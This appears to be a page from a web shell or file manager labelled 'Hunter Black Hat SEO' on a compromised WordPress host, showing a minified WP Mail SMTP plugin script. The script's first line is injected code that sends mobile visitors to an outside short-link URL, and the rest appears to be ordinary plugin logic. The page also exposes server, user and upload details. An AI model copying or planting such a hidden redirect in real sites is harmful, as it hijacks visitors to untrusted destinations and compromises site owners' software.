Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/dumoshi.com/wp-content/plugins/wp-mail-smtp/assets/js/smtp-email-detective.min.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
var WPMailSmtpEmailDetective=window.WPMailSmtpEmailDetective||((a,s,d)=>{var i=[{until:60,every:10},{until:300,every:30},{until:900,every:60}],t={},n={pollTimer:null,startedAt:0,leadSubmitted:!1,retryAction:null,startLabel:"",unavailableTitle:"",lastEmail:"",resendHideTimer:null},o={init:function(){d(o.ready)},ready:function(){var e;t.$wrap=d("#wp-mail-smtp-email-detective"),0!==t.$wrap.length&&(t.$body=t.$wrap.find("#wpms-email-detective-body"),0!==t.$body.length)&&(n.startedAt=parseInt(wp_mail_smtp_email_detective.started_at,10)||0,t.$start=t.$wrap.find("#wpms-email-detective-start"),n.startLabel=t.$start.text(),t.$retrySend=t.$wrap.find("#wpms-email-detective-retry-send"),n.unavailableTitle=t.$wrap.find("#wpms-email-detective-unavailable-title").text(),o.events(),"waiting"===(e=t.$body.attr("data-phase"))?o.schedulePoll(0):"received"===e&&o.autoSubmitLead())},events:function(){t.$wrap.on("submit","#wpms-email-detective-start-form",o.startTest),t.$wrap.on("input","#wpms-email-detective-email",o.onEmailInput),t.$wrap.on("click","#wpms-email-detective-resend",o.resendLead),t.$wrap.on("click","#wpms-email-detective-reset",o.resetTest),t.$wrap.on("click","#wpms-email-detective-cancel",o.resetTest),t.$wrap.on("click","#wpms-email-detective-retry",o.retry),t.$wrap.on("click","#wpms-email-detective-retry-send",o.retrySend)},request:function(e,t){e=d.extend({action:"wp_mail_smtp_email_detective_"+e,nonce:wp_mail_smtp_email_detective.nonce},t||{});return d.post(wp_mail_smtp_email_detective.ajax_url,e)},setPhase:function(e){"ready"===e&&t.$start&&t.$start.length&&t.$start.css("width","").prop("disabled",!1).text(n.startLabel),"send_failed"===e&&t.$retrySend&&t.$retrySend.length&&t.$retrySend.prop("disabled",!1),t.$body.attr("data-phase",e)},applyReportUrl:function(e){var t;e&&((t=a.createElement("a")).href=e,"http:"!==t.protocol&&"https:"!==t.protocol||d("#wpms-email-detective-report-link-not-delivered, #wpms-email-detective-report-link-unlocked").attr("href",e))},buildBoldedEmailHtml:function(e,t){t=d("<strong></strong>").text(t).prop("outerHTML"),e=e.split("%s");return e[0]+t+e.slice(1).join("%s")},applyLeadSentEmail:function(e){e&&d("#wpms-email-detective-lead-sent-message").html(o.buildBoldedEmailHtml(wp_mail_smtp_email_detective.strings.lead_sent_body,e))},applyUnlockedEmail:function(e){e&&t.$wrap.find('[data-state="unlocked"] .wpms-email-detective-state__body').html(o.buildBoldedEmailHtml(wp_mail_smtp_email_detective.strings.unlocked_body,e))},validateEmail:function(e,t){return e[0].checkValidity()?(o.clearEmailError(e,t),!0):(e.attr("aria-invalid","true"),t.text(wp_mail_smtp_email_detective.strings.invalid_email).prop("hidden",!1),!1)},clearEmailError:function(e,t){e.removeAttr("aria-invalid"),t.prop("hidden",!0).text("")},onEmailInput:function(e){o.clearEmailError(d(e.target),d("#wpms-email-detective-start-message"))},startTest:function(e){e.preventDefault();var t,a,e=d(this),i=e.find("#wpms-email-detective-email"),r=d("#wpms-email-detective-start-message");o.validateEmail(i,r)&&(t=e.find("#wpms-email-detective-start").prop("disabled",!0),a=t.text(),e=d.trim(i.val()),n.lastEmail=e,t.css("width",t[0].getBoundingClientRect().width+"px"),t.text(wp_mail_smtp_email_detective.strings.sending),o.request("start",{email:e}).done(function(e){e&&e.success?o.applyStartSuccess(e.data)||t.css("width","").prop("disabled",!1).text(a):(t.css("width","").prop("disabled",!1).text(a),o.showStartError(r,e))}).fail(function(){t.css("width","").prop("disabled",!1).text(a),o.showStartError(r,{data:{code:"http_error",message:""}})}))},applyStartSuccess:function(e){return"send_failed"===e.phase&&d("#wpms-email-detective-send-error").text(e.send_error||""),o.applyReportUrl(e.report_url),o.setPhase(e.phase),"waiting"===e.phase&&(n.startedAt=Math.floor(Date.now()/1e3),n.leadSubmitted=!1,o.schedulePoll(0),!0)},showStartError:function(e,t){"invalid_email"===(t&&t.data?t.data:{code:"http_error",message:""}).code?e.text(wp_mail_smtp_email_detective.strings.invalid_email).prop("hidden",!1):o.handleError("start",t)},intervalForElapsed:function(e){for(var t=0;t<i.length;t++)if(e<i[t].until)return i[t].every;return i[i.length-1].every},schedulePoll:function(e){o.clearPollTimer(),n.pollTimer=s.setTimeout(o.pollStatus,1e3*e)},clearPollTimer:function(){n.pollTimer&&(s.clearTimeout(n.pollTimer),n.pollTimer=null)},stopPolling:function(){o.clearPollTimer()},pollStatus:function(){o.request("status",{}).done(function(e){var t;e&&e.success?(t=e.data,o.applyReportUrl(t.report_url),"received"===t.phase?(o.stopPolling(),o.setPhase("received"),o.autoSubmitLead()):(o.setPhase(t.phase),"waiting"!==t.phase?o.stopPolling():(t=Math.floor(Date.now()/1e3)-n.startedAt,o.schedulePoll(o.intervalForElapsed(t))))):o.handleError("status",e)}).fail(function(){o.handleError("status",{data:{code:"http_error",message:""}})})},autoSubmitLead:function(){n.leadSubmitted||(n.leadSubmitted=!0,o.request("lead",{}).done(function(e){var t;e&&e.success?(t=e.data,o.applyReportUrl(t.report_url),o.applyLeadSentEmail(t.email),o.applyUnlockedEmail(t.email),o.setPhase(t.phase)):(n.leadSubmitted=!1,o.handleError("lead",e))}).fail(function(){n.leadSubmitted=!1,o.handleError("lead",{data:{code:"http_error",message:""}})}))},handleError:function(e,t){var a=t&&t.data?t.data:{code:"api_error",message:""};switch(a.code){case"rate_limited":o.showRateLimited(e,a);break;case"no_test":o.stopPolling(),o.setPhase("ready");break;case"test_in_flight":case"invalid_phase":o.pollStatus();break;default:o.showUnavailable(e,a)}},showRateLimited:function(e,t){o.stopPolling();var t=parseInt(t.data&&t.data.retry_after,10)||30,a=new Date(Date.now()+1e3*t);d("#wpms-email-detective-rate-limited-message").text(wp_mail_smtp_email_detective.strings.come_back_at.replace("%s",o.formatTime(a))),o.setPhase("rate_limited"),s.setTimeout(function(){"start"===e?o.setPhase("ready"):"lead"===e?(n.leadSubmitted=!1,o.setPhase("received"),o.autoSubmitLead()):(n.startedAt=Math.floor(Date.now()/1e3),o.setPhase("waiting"),o.pollStatus())},1e3*t)},showUnavailable:function(e,t){o.stopPolling(),d("#wpms-email-detective-unavailable-message").text(t&&t.message?t.message:wp_mail_smtp_email_detective.strings.unavailable),d("#wpms-email-detective-unavailable-title").text(t&&t.title?t.title:n.unavailableTitle),o.setPhase("unavailable"),n.retryAction=e},retry:function(e){e.preventDefault();e=d(this).prop("disabled",!0);"start"===n.retryAction?o.setPhase("ready"):"lead"===n.retryAction?(n.leadSubmitted=!1,o.setPhase("received"),o.autoSubmitLead()):(o.setPhase("waiting"),o.pollStatus()),e.prop("disabled",!1)},resendLead:function(e){e.preventDefault();function t(e){s.setTimeout(e,Math.max(0,3e3-(Date.now()-l)))}var a=d("#wpms-email-detective-resend").prop("disabled",!0),i=d("#wpms-email-detective-resend-feedback"),r=wp_mail_smtp_email_detective.strings,l=(s.clearTimeout(n.resendHideTimer),i.attr("class","wpms-email-detective-resend-feedback wpms-email-detective-resend-feedback--loading").html('<span class="wpms-email-detective-resend-spinner" aria-hidden="true"></span>').prop("hidden",!1),Date.now());o.request("lead",{}).done(function(e){t(function(){a.prop("disabled",!1),e&&e.success?(o.applyReportUrl(e.data.report_url),i.attr("class","wpms-email-detective-resend-feedback wpms-email-detective-resend-feedback--success").text(r.email_sent).prop("hidden",!1),n.resendHideTimer=s.setTimeout(function(){i.prop("hidden",!0).empty()},5e3)):o.showResendError(i,e)})}).fail(function(){t(function(){a.prop("disabled",!1),o.showResendError(i,null)})})},showResendError:function(e,t){var a,t=t&&t.data?t.data:{code:"http_error",message:""},i=wp_mail_smtp_email_detective.strings,r=t.message||i.generic_error;"rate_limited"===t.code?(a=parseInt(t.data&&t.data.retry_after,10)||30,a=new Date(Date.now()+1e3*a),r=i.come_back_at.replace("%s",o.formatTime(a))):i[t.code]&&(r=i[t.code]),e.attr("class","wpms-email-detective-resend-feedback wpms-email-detective-resend-feedback--error").text(r).prop("hidden",!1)},retrySend:function(e){e.preventDefault();var t=d(this).prop("disabled",!0),a=n.lastEmail||wp_mail_smtp_email_detective.email;o.request("reset",{}).done(function(){a?o.request("start",{email:a}).done(function(e){e&&e.success?o.applyStartSuccess(e.data)||t.prop("disabled",!1):(t.prop("disabled",!1),o.handleError("start",e))}).fail(function(){t.prop("disabled",!1),o.handleError("start",{data:{code:"http_error",message:""}})}):(t.prop("disabled",!1),o.setPhase("ready"))}).fail(function(){t.prop("disabled",!1),o.handleError("start",{data:{code:"http_error",message:""}})})},resetTest:function(e){e.preventDefault();var t=d(this).prop("disabled",!0);o.stopPolling(),n.leadSubmitted=!1,o.request("reset",{}).always(function(){t.prop("disabled",!1),o.setPhase("ready")})},formatTime:function(e){var t=e.getHours(),e=e.getMinutes(),a=t%12;return(a=0===a?12:a)+":"+(e<10?"0":"")+e+" "+(12<=t?"pm":"am")}};return o})(document,window,jQuery);WPMailSmtpEmailDetective.init();